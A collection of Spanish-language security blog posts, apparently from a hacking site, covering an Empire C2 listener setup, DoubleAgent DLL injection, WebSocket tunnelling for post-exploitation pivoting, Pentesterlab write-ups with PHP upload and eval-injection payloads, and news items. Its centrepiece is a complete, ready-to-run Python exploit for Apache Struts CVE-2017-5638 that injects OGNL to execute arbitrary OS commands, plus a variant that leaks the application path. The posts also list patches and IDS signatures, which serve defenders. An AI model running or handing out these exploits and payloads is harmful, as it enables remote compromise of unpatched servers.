  DefaultLostLimit  True        60                               Number of missed checkins before exiting
  StagingKey        True        3013c58c1fb849cce0b07bda33a07a1c Staging key for initial agent negotiation.
  Type              True        native                           Listener type (native, pivot, hop, foreign, meter).
  RedirectTarget    False                                        Listener target to redirect to for pivot/hop.
  DefaultDelay      True        5                                Agent delay/reach back interval (in seconds).
  WorkingHours      False                                        Hours for the agent to operate (09:00-17:00).
  Host              True        http://192.168.1.139:8080        Hostname/IP for staging.
  CertPath          False                                        Certificate path for https listeners.
  DefaultJitter     True        0.0                              Jitter in agent reachback interval (0.0-1.0).
  DefaultProfile    True        /admin/get.php,/news.asp,/login/ Default communication profile for the agent.
                                process.jsp|Mozilla/5.0 (Windows
                                NT 6.1; WOW64; Trident/7.0;
                                rv:11.0) like Gecko
  Port              True        8080                             Port for the listener.


(Empire: listeners) > execute
[*] Listener 'test' successfully started.  

DoubleAgent: un ataque que usa una herramienta "builtin" no documentada de Windows para secuestrar cualquier aplicación

Cybellum, una empresa israelí de prevención de 0-days, descubrió una nueva vulnerabilidad en Windows que llamaron DoubleAgent, una nueva técnica de inyección de código que funciona en todas las versiones de los sistemas operativos Microsoft Windows, desde Windows XP hasta la última versión de Windows 10.

Lo peor es que DoubleAgent explota una característica legítima y no documentada en Windows de 15 años de edad denominada "Application Verifier" (builtin), que en principio no se puede corregir.

Application Verifier es una herramienta de verificación en tiempo de ejecución que carga DLLs en procesos para hacer pruebas, permitiendo a los desarrolladores detectar y corregir errores de programación en sus aplicaciones.

La vulnerabilidad reside en cómo esta herramienta maneja DLL. Según los investigadores, como parte del proceso, las DLLs están vinculadas a los procesos de destino en una entrada del Registro de Windows, pero los atacantes pueden reemplazar la DLL real por una maliciosa.

Simplemente mediante la creación de una clave de registro de Windows con el mismo nombre de la aplicación que se quiere secuestrar, un atacante puede proporcionar su propia DLL que quiera inyectar en un proceso legítimo de cualquier aplicación.

tcp-over-websockets: crea túneles TCP sobre WebSockets

Ya hemos visto varias herramientas para realizar túneles TCP sobre HTTP como  regeorg, tunnaABPTTS o Chisel, pero lo que no habíamos traído hasta ahora es una para realizar túnel TCP sobre WebSockets... así que hoy vamos a jugar con tcp-over-websockets del alemán Jannis Redmann aka derhuerst...

tcp-over-websockets está hecha bajo Node.js, de forma muy similar y sospechosa a su prima-hermana mayor wstunnel, y nos ayudará a evadir firewalls y otros incautos elementos de (des)protección perimetrales; ideal para una fase de post-explotación en la que ya hemos infectado una máquina y queremos a continuación pivotar o incluso acceder remotamente a otro servicio de la misma.

Tenéis el repo en https://github.com/derhuerst/tcp-over-websockets/, pero bastará con ejecutar lo siguiente para instalarlo:

npm install -g tcp-over-websockets

Una vez instalado, para arrancar el servidor (/usr/lib/node_modules/tcp-over-websockets/server.js) simplemente lanzaremos:

tcp-over-websockets-server
listening on 8088

 
Nota: a mi me funcionó con la versión 7.7.3 de node pero experimenté problemas con versiones anteriores.

Luego la sintaxis del cliente del cliente es muy sencilla:

# tcp-over-websockets --help

Usage:
    tcp-over-websockets --tunnel wss://example.org --target localhost:22 --port 8022

Parameters:
    --tunnel  the WebSocket address of the tunnel server
    --target  the hostname & port to connect to
    --port    the port to listen on


Sirva de ejemplo el establecimiento de túnel hacia Github a través del servidor de túneles público de now que cita el Readme:

tcp-over-websockets --tunnel wss://tcp-over-websockets-abvntgfmzf.now.sh --target github.com:22 --port 8022
listening on 8022, exposing github.com:22 via wss://tcp-over-websockets-abvntgfmzf.now.sh

Finalmente podremos atacar al puerto local especificado (8022) para acceder por SSH a Github a través del servidor indicado:

ssh 192.168.1.23 -p 8022
The authenticity of host '[192.168.1.203]:8022 ([192.168.1.203]:8022)' can't be established.
RSA key fingerprint is SHA256:nThbg6kXUpJWGl7E1IGOCspRomTxdCARLviKw6E5SY8.
Are you sure you want to continue connecting (yes/no)? ^C


Análisis de vulnerabilidades en contenedores Docker con Dagda

Dagda es una herramienta de código abierto, escrita en Python para realizar análisis estáticos de vulnerabilidades conocidas en imágenes/contenedores de Docker.

También ayuda a monitorizar los contenedores Docker en ejecución para detectar actividades anómalas. Para ello, recupera información sobre el software instalado en la imagen de Docker, como los paquetes del sistema operativo, las dependencias, los módulos, etc. y los compara con una base de datos de vulnerabilidades. Esta base de datos se crea combinando datos de fuentes de vulnerabilidades como NVD, SecurityFocus BID & Exploit-DB en una base de datos MongoDB. La base de datos también almacena sus "análisis" de análisis estáticos ​​realizados en las imágenes de Docker y su resultado durante una duración que se especifique.

Dagda soporta múltiples imágenes Docker en distribuciones:
  •     Red Hat / CentOS / Fedora
  •     Debian / Ubuntu
  •     OpenSUSE
  •     Alpine Linux
El motor base Dagda es una mezcla de OWASP Dependency Check y Retire.js. Presumiblemente, puede analizar dependencias de Java, Python, NodeJS, Java Script, Ruby y PHP. Para el análisis de comportamiento, Dagda se integra con Sysdig Falco y requiere lo siguiente para ser instalado:

  •     Python3.4.5 o posterior
  •     MongoDB 2.4 o posterior
  •     Docker
  •     Pip3
    •         PyMongo
    •         Requests
    •         Python-dateutil
    •         Joblib
    •         Docker-py
    •         Flask
    •         Flask-cors
    •         PyYAML

Todos los aspectos de esta herramienta pueden ser también controlados a través de la REST-API. La CLI de Dagda utiliza la API REST para acceder a Dagda.

Uso de Dagda:

Después de la instalación, simplemente ejecuta lo siguiente desde la línea de comandos:

Python3 dagda.py check --docker_image DOCKER_IMAGENAME

Si todo está Ok devuelve un ID de exploración, que luego utiliza para recuperar los informes de análisis. ¿Cómo? Así:

Python3 dagda.py history DOCKER_IMAGENAME --id SCANID

Descargar Dagda:

Puedes descargar Dagda 0.5.0 aquí.

Proyecto: https://github.com/eliasgranderubio/dagda

Libros: Red & Blue Team Field Manual (RTFM) (BTFM)

Hace tiempo que no hacíamos un post para hablaros de algún libro así que hoy lo haremos por partida doble con los títulos Red Team Field Manual (RTFM) de Ben Clark publicado en 2013 y su casi homónimo Blue Team Field Manual (BTFM) de Alan J. White y también con Ben Clark como colaborador, lanzado a principios de este año 2017.

Red Team ó Blue Team... tú eliges
El primero es una pequeña guía de referencia dirigida a los miembros de un Red Team. Contiene la sintaxis básica para un montón de comandos de Linux y Windows, pero también contiene casos de uso únicos para herramientas poderosas como Python y Windows PowerShell y para realizar muchas otras tareas que comúnmente lleva a cabo un equipo de hacking ético en base de datos, web, wireless, etc. Nada de teoría, sólo práctica :)

El segundo dirigido al Blue Team es una Guía de Respuesta a Incidentes de Ciberseguridad que se alinea con el Marco de Ciberseguridad del NIST que consiste en las cinco funciones principales de Identificar, Proteger, Detectar, Responder y Recuperar, proporcionando los pasos tácticos a seguir y los comandos a utilizar para prepararse, afrontar y recuperarse de un incidente de seguridad.

Ambos se presentan como pequeños libros de consulta (de 95 y 143 páginas respectivamente) para tener a mano los comandos necesarios por si por ejemplo falla la conexión en Internet y no puedes "googlear" en ese momento. Hoy en día es difícil pero quién sabe... además podemos encontrar ambos en Amazon a un precio bastante asequible (6,16€ y 14,60€) así que nunca está de más hacerles un hueco en nuestra biblioteca personal, aunque sea por postureo ;)

"Esta es tu última oportunidad. Después de esto, no hay vuelta atrás. Toma la píldora azul: el cuento termina, despiertas en tu cama y creerás lo que quieras creer. Toma la píldora roja: permaneces en el país de las maravillas y te mostraré qué tan profundo llega el agujero del conejo. Recuerda, todo lo que estoy ofreciendo es la verdad, nada más."

RTFM: https://www.amazon.es/Rtfm-Red-Team-Field-Manual/dp/1494295504
BTFM: https://www.amazon.es/Blue-Team-Field-Manual-BTFM/dp/154101636X

[Pentesterlab write-up] Web For Pentester I - File upload. LDAP & XML attacks

Llegamos a la última entrada de los solucionarios de “Web for pentester I” de Pentesterlab, que más que un lab ha sido un didáctico viaje por las vulnerabilidades web más comunes, permitiendo un buen entendimiento de las mismas comparando cada explotación (payload) con el código PHP vulnerable del servidor.

Así que vamos a cerrar esta serie de cinco entradas con los ejercicios correspondientes a las vulnerabilidades que nos quedaban pendientes: subida de archivos y ataques LDAP y XML.


FILE UPLOAD

La posibilidad de subir archivos es un requisito funcional en muchas aplicaciones web, pero también un riesgo significante para la misma.

Desde el prisma del atacante, encontrar un formulario para subir archivos es una buena noticia porque puede suponer la puerta para introducir código malicioso ejecutable tanto en el servidor como en el cliente.

Por ejemplo, cualquier carencia o fallo en la verificación del tipo de contenido (content-type), de la extensión del fichero o de la imagen subidos puede suponer la introducción de una web shell que comprometa por completo al servidor y a los usuarios que lo visitan.

Ejercicio 1

Normalmente para implementar la subida de archivos bastará un sencillo código con una parte en HTML para crear una interfaz de usuario que permite al usuario elegir qué archivo cargar, y otra parte con un script PHP que contiene el código que maneja la solicitud para cargar el archivo seleccionado.

En el primer ejercicio no hay restricciones en el tipo de archivos permitidos para la subida. Por lo tanto, un atacante puede cargar un archivo con una shell en PHP (u otro código malicioso) que puede conducir al control total del servidor. 

SERVIDOR
<?php require_once('../header.php'); ?>


<?php
if(isset($_FILES['image']))
{ 
  $dir = '/var/www/upload/images/';
  $file = basename($_FILES['image']['name']);
  if(move_uploaded_file($_FILES['image']['tmp_name'], $dir. $file))
  {
  echo "Upload done";
  echo "Your file can be found <a href=\"/upload/images/".htmlentities($file)."\">here</a>";
  }
  else 
  { 
      echo 'Upload failed';
  }
}
?>


<form method="POST" action="example1.php" enctype="multipart/form-data">    
Mon image : <input type="file" name="image"><br/>
<input type="submit" name="send" value="Send file">

</form> 


<?php require_once('../footer.php'); ?>

Para la PoC basta con subir un simple código php con la función phpinfo:

PAYLOAD
echo "<?php phpinfo(); ?>" > phpinfo.php

¡No dejes que obtengan tu IP fácilmente!

Recientemente hemos visto en nuestro grupo de Telegram un enlace acortado que redireccionaba a un sitio destinado a la obtención y el seguimiento de la IP del visitante: hablamos de un IP tracker/logger. Y bueno, sirva ésto para que hagamos primero un pequeño ejercicio para preguntarnos cuál es el grado de la importancia de mostrar u ocultar nuestra IP pública en Internet...


En España el Tribunal Supremo confirmó en la Sentencia del 3 de octubre de 2014 que las “direcciones IP son datos de carácter personal” y, por tanto, sujetas a la protección de la Ley Orgánica de Protección de Datos (LOPD). Por otro lado, el Reglamento (UE) 2016/679 del Parlamento Europeo y del Consejo, aprobado en abril de 2016 y que entrará en vigor en 2018, reconoce que "Las personas físicas pueden ser asociadas a identificadores en línea facilitados por sus dispositivos, aplicaciones, herramientas y protocolos, como direcciones de los protocolos de Internet, identificadores de sesión en forma de «cookies» u otros identificadores, como etiquetas de identificación por radiofrecuencia. Esto puede dejar huellas que, en particular, al ser combinadas con identificadores únicos y otros datos recibidos por los servidores, pueden ser utilizadas para elaborar perfiles de las personas físicas e identificarlas”.


Por lo tanto, una IP no es "simplemente una IP", parece lo suficientemente importante, ¿verdad? Y es que como se suscribe arriba mediante ella y en combinación con otras "huellas" digitales es posible identificar a una persona física. De hecho, ya de por sí sola ofrece la posibilidad de un detalle en la geolocalización impresionante. Todo aquello hace que una dirección IP sea lo suficientemente importante para que un tercero se preocupe en obtenerla, etiquetarla y almacenarla...

JSShell, una webshell multiusuario escrita en python/flask (servidor) y js/html (cliente)

JSShell de Daniel Abeles es una webshell multiusuario con una parte servidor escrita en Python con Flask y otra cliente en Javascript y HTML. Aunque inicialmente se creó para debuggear navegadores algo "exóticos", puede utilizarse para otros propósitos, siempre baja la responsabilidad y riesgo de cada uno.

Instalación

Se recomienda usar un entorno virtual y python 3.6. aunque versiones anteriores funcionan también bien:

pyenv virtualenv -p python3.6 venv
pyenv activate venv

virtualenv -p python3.6 venv
source venv/bin/activate


Para ambos:

pip install -r requirements.txt

Características

- Multicliente
- Soporta objetos DOM cyclic
- Scripts Pre flight
- Command queue
- Command Context

Moscowc0n: una conferencia de hacking de Rusia.. ¡en español! (Московская хакерская конференция на испанском языке)

Creo que ya hemos comentado en alguna ocasión la buena noticia de la proliferación de conferencias de hacking con ponentes hispanohablantes, pero hasta ahora lo normal era que se hicieran en España y en Latinoamérica. Por eso me sorprendió mucho Moscowc0n, el primer evento de hacking de Rusia ¡en español! Sí... habéis leído bien... una oportunidad de presenciar ponencias en castellano en el gélido Moscú, unas de las "capitales" mundiales del hacking de siempre y una oportunidad de intercambiar esta cultura underground tan lejana y a la vez tan cercana.

Y es que trasladarse tan lejos convierte este evento en una auténtica expedición, la fecha será el 2, 3 y 4 de junio de 2017 en los que evidentemente no puede dejarse escapar la ocasión de realizar también un poco de turismo/cata de vodkas:

Junio 2017
Viernes 2: Visitas guiadas & turismo
Sábado 3: Charlas & Networking
Domingo 4: Visitas guiadas & turismo

https://moscowc0n.com/
https://twitter.com/MoscowC0n

 La asistencia es gratuita, los 10 ponentes anunciados por el momento prometen (con Monica Valle como presentadora) y el escenario es idílico, así que si te puedes rascar el bolsillo y pagarte el viaje seguramente será sin duda un fin de semana inolvidable!

[Pentesterlab write-up] Web For Pentester I - Code & Commands Injection

Damos un pasito más, ya casi terminando el lab “Web for pentester I” de Pentesterlab, esta vez realizando los ejercicios correspondientes a las vulnerabilidades de inyección de código e inyección de comandos.


Cuando hablamos de inyección de comandos el objetivo es la ejecución de comandos (valga la redundancia) en el sistema operativo del host a través de la aplicación vulnerable, la cual se realiza con los privilegios del usuario de la aplicación. En el caso de inyección de código el atacante puede agregar su propio código que luego es ejecutado por la aplicación. Digamos que en “Code Injection” el atacante amplía la funcionalidad por defecto de la aplicación sin necesidad de ejecutar comandos del sistema, aunque también puede hacerlo utilizando las funciones correspondientes del lenguaje de programación utilizado (por ej. system en php).

Ambas pueden explotarse cuando una aplicación no filtra (o lo hace de forma incorrecta) los datos introducidos por el usuario (formularios, cookies, cabeceras HTTP, etc.).

CODE INJECTION

Ejercicio 1:

En el primer ejemplo vemos que el desarrollador ha usado la función eval para ejecutar lo que pasas como parámetro como una línea de código php y... bueno muchos dicen que "eval is evil" y al no filtrar la entrada antes podemos simplemente concatenar otro comando con un simple punto (".") y usar # para comentar el resto del código:

SERVIDOR
<?php
$str="echo \"Hello ".$_GET['name']."!!!\";";

eval($str);
?>

PAYLOAD
http://pentesterlab/codeexec/example1.php?name=hacker%22.system(%27hostname%27)%3B%23

Decoded: hacker".system('hostname');#

Charla sobre "Introducción a: Code Injection, Hooking y Reversing"

Desde Hackplayers queremos invitaros al curso/charla online sobre "Introducción a: Code Injection, Hooking y Reversing" totalmente gratuito, en el cual se tocarán los siguientes temas:

     - PE Container (exe,dll,wtf...) (x86/x64, code, sections, resources, imports, exports)
     - Packers, depackers.
     - ASM Bytecode.
     - Reversing 101: IDA + Sublime text sample.
     - Injecting codes (methods, known dlls, threading, wndproc stealing)
     - Winmine menu sample: WinApi, Value editing, Function calling, Hooking.
     - Winmine sudoku sample: WinApi, Hooking next level.
     - Shitfest, .net java juegos.
     - Y algunas cosas más...

El curso/charla impartido por el ponente Pabloko, se dará a un grupo muy reducido de personas que serán escogidas aleatoriamente de entre todas las inscripciones y podrán interactuar con el ponente en directo. En el caso de no ser escogidos para formar parte de dicho grupo, no tienes que preocuparte, nos encargaremos de realizar un streaming desde el canal de YouTube de Hackplayers para que podáis seguir la charla en directo.

· ¿CÓMO INSCRIBIRSE?

Los interesados deberán mandar un email a: cursocharla.hackplayers@gmail.com. El email deberá llevar como asunto "Curso/Charla Hackplayers por Pabloko", también en el email se deberá escribir el nombre de usuario en el foro de Hackplayers, el nombre de usuario en Telegram (opcional) y responder a la pregunta: ¿Por qué te gustaría participar en el curso/charla "Introducción a: Code Inyection, Hooking y Reversing"?.

Entre todas las inscripciones se realizará un sorteo totalmente aleatorio. Los ganadores serán notificados por email y deberán confirmar su asistencia en menos de 12 horas. En el caso de no confirmarse la asistencia se volverá a realizar el sorteo para ocupar las plazas vacantes.

La fecha limite de inscripción es 14/03/2017 a las 20:00 hora española.

· HORARIO

El curso/charla se realizará realizó el día 16 de marzo a las 22:00 horas.
Para cualquier duda no dudéis en consultarnos a través de nuestras RRSS.

· VIDEO

¡Actualización!  ya tenéis el video subido a: https://youtu.be/7CpQ_lPIv6s

Cómo crear de un paquete .deb

Bueno como todos sabemos la creación de un paquete .deb es bastante sencilla , ¿o no? Depende de cómo lo miremos. He estado viendo muchos tutoriales en Internet y me he adentrado un poco en este mundillo.

Lo primero y antes de empezar nos haremos la siguiente pregunta:

¿Qué es un paquete .deb?


Sabiendo esta premisa, podemos continuar. Vamos a tomar como ejemplo 4nonimizer para poder crear un paquete .deb autoinstalable del mismo.

Lo descargamos de https://github.com/Hackplayers/4nonimizer.git y una vez tenemos la carpeta con todo el contenido de 4nonimizer procedemos a crear la jerarquía de directorios donde queremos que se aloje 4nonimizer, es decir, si queremos que se descomprima e instale en /opt/ crearemos una carpeta que llamaremos deb y dentro de ella /opt/ y dentro de la misma meteremos 4nonimizer :


Protégete contra dispositivos USB maliciosos como BadUSB con USG (el "firewall para USB")

USG es un dongle hardware que se puede usar entre el puerto USB del ordenador y dispositivos USB no confiables: sólo pasará un conjunto limitado de instrucciones y datos entre los dos, sin incluir las instrucciones utilizadas para activar BadUSB.


Esto tiene limitaciones como que el USG sólo soporta algunas clases de dispositivos (flash drives, teclados y ratones) aunque está planeado incluir más en futuras actualizaciones de firmware - aún así, en cualquier caso supera al enfoque del USB Condom que hacía el puerto USB inútil para todo excepto la carga.
 

Los dongles de hardware de código abierto son construidos a mano por Robert Fisk en Nueva Zelanda, pero puedes descargar los planos y construir los tuyos si no confías:

Proyecto: https://github.com/robertfisk/USG
Wiki: https://github.com/robertfisk/USG/wiki/

Más info:
Technical Details for the Curious
Firmware Development Environment
LED Diagnostics

Exploit RCE para Apache Struts (CVE-2017-5638) o cómo miles de servidores en Internet están en peligro

Ayer de madrugada unos de los feeds chinos que seguimos habitualmente hizo saltar por los aires nuestra actividad llevando casi toda nuestra atención a un PoC/exploit para la vulnerabilidad CVE-2017-5638 que permite RCE (ejecución remota de comandos) en las últimas versiones de Apache Struts. 

El script que os mostramos a continuación, liberado por Nike Zheng (célebre y habitual hostigador de Struts), primero en páginas como Freebuf o Bobao, se aprovecha de un fallo en la función de upload del parser de Jakarta y muestra cómo modificar la cabecera Content-Header para inyectar comandos de sistema operativo cuando se llama a un action:
#!/usr/bin/python
# -*- coding: utf-8 -*-
 
import urllib2
import requests
import httplib

from requests.packages.urllib3.exceptions import InsecureRequestWarning
 
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

#uso: python script.py <url> "<command>"
 
def exploit(url, cmd):
    payload = "Content-Type:%{(#_='multipart/form-data')."
    payload += "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."
    payload += "(#_memberAccess?"
    payload += "(#_memberAccess=#dm):"
    payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."
    payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."
    payload += "(#ognlUtil.getExcludedPackageNames().clear())."
    payload += "(#ognlUtil.getExcludedClasses().clear())."
    payload += "(#context.setMemberAccess(#dm))))."
    payload += "(#cmd='%s')." % cmd
    payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))."
    payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))."
    payload += "(#p=new java.lang.ProcessBuilder(#cmds))."
    payload += "(#p.redirectErrorStream(true)).(#process=#p.start())."
    payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))."
    payload += "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))."
    payload += "(#ros.flush())}"
 
    try:

        headers = {'User-Agent': 'Mozilla/5.0', 'Content-Type': payload}
        #request = urllib2.Request(url, headers=headers)
        request = requests.get(url, headers=headers,verify=False)
        #page = urllib2.urlopen(request).read()

    except httplib.IncompleteRead, e:

        request = e.partial

    print(request.text)

    return request

if __name__ == '__main__':

    import sys
    if len(sys.argv) != 3:
        print("[*] struts2_S2-045.py <url> <cmd>")

    else:

        print('[*] CVE: 2017-5638 - Apache Struts2 S2-045')
        url = sys.argv[1]
        cmd = sys.argv[2]
        print("[*] cmd: %s\n" % cmd)

        exploit(url, cmd)

Si lo ejecutáis contra una aplicación vulnerable el resultado será la ejecución remota de comandos con el usuario que ejecuta el servidor. Así de sencillo:


Cualquier búsqueda en Google con un dork 'filetype:action' arroja unos 35 millones de resultados, de los cuales un alto porcentaje es vulnerable... el volumen y la criticidad de los servicios afectados es simplemente ... dramático.
 
Hemos dedicado horas a reportar a empresas, gobiernos, fabricantes e incluso particulares para que parchearan y corrigieran lo antes posible la vulnerabilidad, pero el exploit ya ha saltado a las grandes páginas de 'advisories' y ya se han observado intentos de explotación masivos en Internet, incluso bastante sofisticados con el objetivo de conseguir persistencia o modificaciones como las que nos trae nuestro compi Sebastian Cornejo (curiositysec) que permite obtener el path de la aplicación, paso previo a la subida de una shell al servidor:
def getpath(url):

payload = "Content-Type:%{(#_='multipart/form-data')."
payload += "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."
payload += "(#_memberAccess?"
payload += "(#_memberAccess=#dm):"
payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."
payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."
payload += "(#ognlUtil.getExcludedPackageNames().clear())."
payload += "(#ognlUtil.getExcludedClasses().clear())."
payload += "(#context.setMemberAccess(#dm))))."
payload += "(#path=(@org.apache.struts2.ServletActionContext@getServletContext().getRealPath(\"/\")))."
payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))."
payload += "(@org.apache.commons.io.CopyUtils@copy(#path,#ros))."
payload += "(#ros.flush())}"

try:

headers = {'User-Agent': 'Mozilla/5.0', 'Content-Type': payload}
#request = urllib2.Request(url, headers=headers)
request = requests.get(url, headers=headers,verify=False)
#page = urllib2.urlopen(request).read()
except httplib.IncompleteRead, e:
request = e.partial
 
print("Path App: "+ request.text)

Como veis la criticidad es máxima y la noticia corre como la pólvora y URGE TOMAR CONTRAMEDIDAS LO ANTES POSIBLE:

- actualizar a Apache Struts (2.3.32 / 2.5.10.1 o posteriores) 
- actualizar firmas del IDS/IPS. Por ej. Snort ya incluye reglas en server-apache.rules: SERVER-APACHE Apache Struts remote code execution attempt (SIDs: 41818, 41819)

Fuentes:
- http://www.freebuf.com/vuls/128668.html
- http://bobao.360.cn/learning/detail/3571.html
- http://blog.talosintelligence.com/2017/03/apache-0-day-exploited.html#more
- https://packetstormsecurity.com/files/141494/S2-45-poc.py.txt

Wikileaks desata el mayor filtrado de información de la CIA de la historia, incluyendo su arsenal de herramientas de hacking (#Vault7)

El mes pasado (desde el 4 de febrero de 2017), Wikileaks empezó a enviar una serie de enigmáticos tweets acerca de “Vault 7”, mostrando distintas imágenes con preguntas de "Qué", "Dónde", "Cuándo", "Quién", "Por qué" y "Cómo" seguidas del hashtag #Vault7... pero ¿qué es "Vault 7"?



Hoy por fin se ha desvelado/desatado el misterio y el resultado es impactante: se trata de lo que puede ser el mayor filtrado de información de la CIA de la historia. Extraída de un Centro de Ciberinteligencia en Langley (Virgina) supuestamente aislado y seguro, incluye en total 8761 documentos clasificados y, lo que más nos interesa a nosotros, la mayor parte de su arsenal de hacking, incluyendo malware, virus, troyanos, exploits de tipo 0-day, RATs y otro malware, todo con su documentación correspondiente... El archivo parece haber estado circulando de forma no autorizada entre antiguos hackers y proveedores del Gobierno, uno de los cuales le ha proporcionado fragmentos a Wikileaks.

Toda esta información empezará a filtrarse por partes a partir de hoy. De momento ya se puede descargar libremente el primer torrent, un archivo comprimido con 7-zip cuya contraseña será desvelada por Twitter mañana a las 9 AM ET.


¿Y qué podemos encontrar en estos leaks? Pues como decimos un verdadero arsenal de herramientas creadas por una plantilla de 5.000 hackers que durante años ha estado trabajando para la CIA, millones de líneas de código destinadas a convertir cualquier dispositivo doméstico en una herramienta de espionaje al servicio del Gobierno de EE.UU. y sus aliados, incluyendo iPhones de Apple, smartphones Android, vulnerabilidades en sistema operativo (Windows, OSx, Linux, routers) y hasta televisores Samsung. Amén de evadir el cifrado de WhatsApp, Signal, Telegram, Wiebo, Confide, Cloackman, técnicas, malware y un largo etc. que, en definitiva, pueden hacer tambalear nuestro "mundo" en las próximas semanas.

No sé si realmente es muy ético filtrar toda esta información sin contactar antes con los fabricantes porque muchos terceros maliciosos se aprovecharán de ello para explotar diferentes dispositivos y tecnologías, pero supongo que hacer un ejercicio de "responsible disclosure" dada la magnitud de la que hablamos, que algunos fabricantes incluso puedan tener acuerdos de colaboración secretos y que el riesgo que supone tratar estas cosas, es muy difícil si no imposible hacerlo. Lo que está claro es que estas herramientas estaban ya siendo utilizadas por unos pocos y, aunque la transición para parchear todo será dura y difícil, el resultado al final será que todos estaremos un poco menos in-seguros.

Lo que está claro es que habrá que estar *muy* *muy* atentos. Os dejo con la nota de prensa oficial de Wikileaks:

https://wikileaks.org/ciav7p1/